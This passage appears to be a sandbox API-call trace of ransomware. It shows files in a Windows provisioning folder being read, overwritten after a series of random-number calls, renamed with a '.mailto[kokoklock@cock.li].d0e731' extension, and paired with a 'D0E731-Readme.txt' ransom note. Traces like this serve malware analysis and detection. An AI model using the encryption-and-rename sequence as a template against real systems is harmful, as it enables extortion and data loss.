Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.226] wcscat (in: _Dest=0x348a7e8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.226] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a7e8) returned 1 [0086.226] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341fe18) returned 1 [0086.226] RtlExitUserThread (Status=0x1) Thread: id = 1289 os_tid = 0x110c [0085.381] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml")) returned 0x20 [0086.192] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0088.127] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7a0 [0088.127] GetFileSizeEx (in: hFile=0x7a0, lpFileSize=0x2d13fc40 | out: lpFileSize=0x2d13fc40*=712) returned 1 [0088.127] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x2c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.127] ReadFile (in: hFile=0x7a0, lpBuffer=0x2d13fc14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d13fc10, lpOverlapped=0x0 | out: lpBuffer=0x2d13fc14*, lpNumberOfBytesRead=0x2d13fc10*=0x4, lpOverlapped=0x0) returned 1 [0088.129] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc818 [0088.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc840 [0088.129] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc7a0 [0088.129] NtQuerySystemTime (in: CurrentTime=0x2d13fbec | out: CurrentTime=0x2d13fbec*=132121176460163045) returned 0x0 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xfc93267e [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xcd5b0cff [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xf3bd2938 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xe19cc3f3 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xf7cf624 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x5d8a2c52 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x3bc1ce5c [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xb66fe0ef [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x13c28119 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x29e1e95 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x7d6d347 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x6620d288 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xac4e146d [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x189e7c30 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xb4883c9a [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x63587de1 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xb1c2ed3a [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xabc43e20 [0088.129] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xd8d30b07 [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xcb8cbf2f [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xcb7e6fb0 [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xc037633b [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x3d08e4f6 [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x69a818be [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x68b77506 [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0xc25d3b78 [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x60c2e556 [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x72aacefd [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x93865d6f [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x44c3ebed [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x3a0869b2 [0088.130] RtlRandom (in: Seed=0x2d13fbf8 | out: Seed=0x2d13fbf8) returned 0x70b938c8 [0088.142] ReadFile (in: hFile=0x7a0, lpBuffer=0x34b6388, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x2d13fbec, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesRead=0x2d13fbec*=0x2c8, lpOverlapped=0x0) returned 1 [0088.142] SetFilePointerEx (in: hFile=0x7a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d13fbb4 | out: lpNewFilePointer=0x0) returned 1 [0088.142] WriteFile (in: hFile=0x7a0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2c8, lpNumberOfBytesWritten=0x2d13fbe8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d13fbe8*=0x2c8, lpOverlapped=0x0) returned 1 [0088.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc6d8 [0088.142] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc700 [0088.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc700) returned 1 [0088.142] WriteFile (in: hFile=0x7a0, lpBuffer=0x55dc6d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d13fbe4, lpOverlapped=0x0 | out: lpBuffer=0x55dc6d8*, lpNumberOfBytesWritten=0x2d13fbe4*=0x20, lpOverlapped=0x0) returned 1 [0088.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6d8) returned 1 [0088.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0088.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0088.142] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9d60) returned 1 [0088.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0088.143] WriteFile (in: hFile=0x7a0, lpBuffer=0x55dc868*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d13fc10, lpOverlapped=0x0 | out: lpBuffer=0x55dc868*, lpNumberOfBytesWritten=0x2d13fc10*=0x8, lpOverlapped=0x0) returned 1 [0088.143] WriteFile (in: hFile=0x7a0, lpBuffer=0x2d13fc28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d13fc10, lpOverlapped=0x0 | out: lpBuffer=0x2d13fc28*, lpNumberOfBytesWritten=0x2d13fc10*=0x4, lpOverlapped=0x0) returned 1 [0088.143] WriteFile (in: hFile=0x7a0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d13fc10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d13fc10*=0x4, lpOverlapped=0x0) returned 1 [0088.143] WriteFile (in: hFile=0x7a0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d13fc10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d13fc10*=0x6c, lpOverlapped=0x0) returned 1 [0088.143] WriteFile (in: hFile=0x7a0, lpBuffer=0x55dc840*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d13fc10, lpOverlapped=0x0 | out: lpBuffer=0x55dc840*, lpNumberOfBytesWritten=0x2d13fc10*=0x20, lpOverlapped=0x0) returned 1 [0088.143] WriteFile (in: hFile=0x7a0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d13fc10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d13fc10*=0x4, lpOverlapped=0x0) returned 1 [0088.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc840) returned 1 [0088.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc6b0) returned 1 [0088.143] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc868) returned 1 [0088.143] CloseHandle (hObject=0x7a0) returned 1 [0088.143] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x17e) returned 0x33fc9c8 [0088.143] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" [0088.143] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0088.144] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0088.144] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0088.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0088.145] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0088.145] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a248 [0088.145] wcscpy (in: _Dest=0x348a248, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0088.145] wcscat (in: _Dest=0x348a248, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0088.145] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0088.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a248) returned 1 [0088.145] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ff60) returned 1 [0088.145] RtlExitUserThread (Status=0x1) Thread: id = 1290 os_tid = 0x1110 [0085.381] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.175] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.191] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\118__connections_cellular_tele2 (estonia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa30 [0086.191] GetFileSizeEx (in: hFile=0xa30, lpFileSize=0x2d1bfe34 | out: lpFileSize=0x2d1bfe34*=656) returned 1 [0086.191] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x28c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.191] ReadFile (in: hFile=0xa30, lpBuffer=0x2d1bfe08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x2d1bfe08*, lpNumberOfBytesRead=0x2d1bfe04*=0x4, lpOverlapped=0x0) returned 1 [0086.193] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbc8 [0086.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddba0 [0086.193] NtQuerySystemTime (in: CurrentTime=0x2d1bfde0 | out: CurrentTime=0x2d1bfde0*=132121176440883221) returned 0x0 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xed95c4d9 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x169ef68f [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x6ca5144a [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xdf678d94 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x4b2dd590 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xad13085f [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x7be6a0d2 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x1f179c7d [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xc5b1039c [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x863b6b9f [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xbf7c42f [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x18700e82 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x8478bffa [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xd9569142 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x1bac5a65 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xbd79d1d8 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x4b38de8f [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x6ec8a704 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xab4cb2c2 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x20e8ab4e [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x8d98665d [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xb7c179e9 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x2835cd33 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xebc8aee3 [0086.193] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x433fdd31 [0086.194] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x1e932ff3 [0086.194] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xd0f108ce [0086.194] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x329dd915 [0086.194] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xe4c364ef [0086.194] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xfa93983e [0086.194] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0xcf00e1ad [0086.194] RtlRandom (in: Seed=0x2d1bfdec | out: Seed=0x2d1bfdec) returned 0x3dee6477 [0086.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0086.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbc8) returned 1 [0086.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0086.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0086.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0086.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde20) returned 1 [0086.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.204] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.204] ReadFile (in: hFile=0xa30, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x290, lpNumberOfBytesRead=0x2d1bfde0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2d1bfde0*=0x290, lpOverlapped=0x0) returned 1 [0086.205] SetFilePointerEx (in: hFile=0xa30, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1bfda8 | out: lpNewFilePointer=0x0) returned 1 [0086.205] WriteFile (in: hFile=0xa30, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d1bfddc, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2d1bfddc*=0x290, lpOverlapped=0x0) returned 1 [0086.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0086.205] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.205] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddcb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d1bfdd8, lpOverlapped=0x0 | out: lpBuffer=0x55ddcb8*, lpNumberOfBytesWritten=0x2d1bfdd8*=0x20, lpOverlapped=0x0) returned 1 [0086.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0086.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0086.205] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0086.205] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddd80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2d1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x55ddd80*, lpNumberOfBytesWritten=0x2d1bfe04*=0x8, lpOverlapped=0x0) returned 1 [0086.205] WriteFile (in: hFile=0xa30, lpBuffer=0x2d1bfe1c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x2d1bfe1c*, lpNumberOfBytesWritten=0x2d1bfe04*=0x4, lpOverlapped=0x0) returned 1 [0086.205] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2d1bfe04*=0x4, lpOverlapped=0x0) returned 1 [0086.206] WriteFile (in: hFile=0xa30, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2d1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2d1bfe04*=0x6c, lpOverlapped=0x0) returned 1 [0086.206] WriteFile (in: hFile=0xa30, lpBuffer=0x55ddbf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2d1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x55ddbf0*, lpNumberOfBytesWritten=0x2d1bfe04*=0x20, lpOverlapped=0x0) returned 1 [0086.206] WriteFile (in: hFile=0xa30, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2d1bfe04, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2d1bfe04*=0x4, lpOverlapped=0x0) returned 1 [0086.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddbf0) returned 1 [0086.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd58) returned 1 [0086.206] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd80) returned 1 [0086.206] CloseHandle (hObject=0xa30) returned 1 [0086.206] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x341a7f8 [0086.206] wcscpy (in: _Dest=0x341a7f8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml" [0086.206] wcscat (in: _Dest=0x341a7f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\118__Connections_Cellular_Tele2 